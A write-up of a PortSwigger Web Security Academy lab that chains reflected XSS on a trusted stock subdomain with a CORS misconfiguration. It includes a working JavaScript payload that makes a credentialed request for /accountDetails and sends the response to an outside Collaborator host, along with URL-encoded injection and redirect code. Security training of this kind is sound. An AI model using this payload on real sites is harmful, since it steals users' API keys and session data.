| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CORS Misconfiguration + XSS via Trusted Subdomain |
| Difficulty | Practitioner |
| Objective | Chain a subdomain XSS with the CORS misconfiguration to exfiltrate the administrator's API key |
CORS Vulnerability with Trusted Insecure Protocols — Writeup¶
Initial Observation¶
Logged in as wiener:peter. Same pattern — API key fetched from /accountDetails:
fetch('/accountDetails', {credentials:'include'})
.then(r => r.json())
.then(j => document.getElementById('apikey').innerText = j.apikey)
Intercepting the request in Burp:
{
"username": "wiener",
"email": "",
"apikey": "u49pHp5plqS3kO3HuVAYsuK2C9VYdc5G",
"sessions": [
"Lbcf7keLOSoYNS4xqSfW3mn1VtShMgb3"
]
}
Web — Testing the CORS Policy¶
Adding Origin: teto.com and Origin: null — neither gets reflected. The server isn't trusting arbitrary origins or null this time.
Trying a subdomain of the target:
Origin: https://teto.0a33009b03da8bbe83af08d700990034.web-security-academy.net
Response:
Access-Control-Allow-Origin: https://teto.0a33009b03da8bbe83af08d700990034.web-security-academy.net
Access-Control-Allow-Credentials: true
Any subdomain of the target is trusted, including subdomains that don't exist yet. Now we need to find a real subdomain we can use.
Finding the Stock Subdomain¶
Clicking "Check stock" on any product opens a new tab at:
http://stock.web-security-academy.net/?productId=1&storeId=1
Modifying productId to something arbitrary:
?productId=teto&storeId=1
ERROR
Invalid product ID: teto
The value is reflected on the page. Trying HTML injection:
?productId=<marquee>TETO</marquee>&storeId=1
Renders. Trying a script tag:
?productId=<script>alert(0)</script>&storeId=1
<body><h4>ERROR</h4>Invalid product ID: <script>alert(0)</script></body>
XSS confirmed on the stock subdomain. Confirming it's trusted by the main domain's CORS policy:
Access-Control-Allow-Origin: https://stock.0a33009b03da8bbe83af08d700990034.web-security-academy.net
Access-Control-Allow-Credentials: true
We have all the pieces: a trusted subdomain with XSS. Any script injected there can make a credentialed CORS request to /accountDetails and the main server will accept it.
Attack Path¶
Building the XSS Payload¶
The script to execute on the stock subdomain — it makes a credentialed GET to /accountDetails and exfiltrates the response to Collaborator. %2b is URL-encoded + to avoid breaking the URL when used inline:
var req = new XMLHttpRequest();
req.onload = function(){
new Image().src = "https://oa28xn3xrxdhigf0pm9ub6akyb44sugj.oastify.com/?tetoKey=" + btoa(req.responseText);
};
req.open("GET", "https://0a33009b03da8bbe83af08d700990034.web-security-academy.net/accountDetails", true);
req.withCredentials = true;
req.send();
URL-encoding the entire script and injecting it into productId, we can verify it works by visiting the crafted URL directly — Collaborator receives our own API key:
http://stock.0a33009b03da8bbe83af08d700990034.web-security-academy.net/?productId=%3Cscript%3Evar%20req%20=%20new%20XMLHttpRequest();req.onload%20=%20function(){new%20Image().src%20=%20%22https://oa28xn3xrxdhigf0pm9ub6akyb44sugj.oastify.com/?tetoKey=%22%20%2b%20btoa(req.responseText);};req.open(%22GET%22,%20%22https://0a33009b03da8bbe83af08d700990034.web-security-academy.net/accountDetails%22,%20true);req.withCredentials%20=%20true;req.send();%3C/script%3E&storeId=1
Delivering to the Victim¶
On the exploit server we redirect the victim to the stock subdomain XSS URL. Their browser executes the script in the context of the trusted subdomain — the CORS request to /accountDetails goes out with Origin: http://stock.[target], which the main server trusts, and their session cookie travels with it:
<script>
document.location="http://stock.0a33009b03da8bbe83af08d700990034.web-security-academy.net/?productId=%3Cscript%3Evar%20req%20=%20new%20XMLHttpRequest();req.onload%20=%20function(){new%20Image().src%20=%20%22https://oa28xn3xrxdhigf0pm9ub6akyb44sugj.oastify.com/?tetoKey=%22%20%2b%20btoa(req.responseText);};req.open(%22GET%22,%20%22https://0a33009b03da8bbe83af08d700990034.web-security-academy.net/accountDetails%22,%20true);req.withCredentials%20=%20true;req.send();%3C/script%3E&storeId=1";
</script>
Collaborator receives the administrator's API key:
Submitting the solution we solved the lab 0....0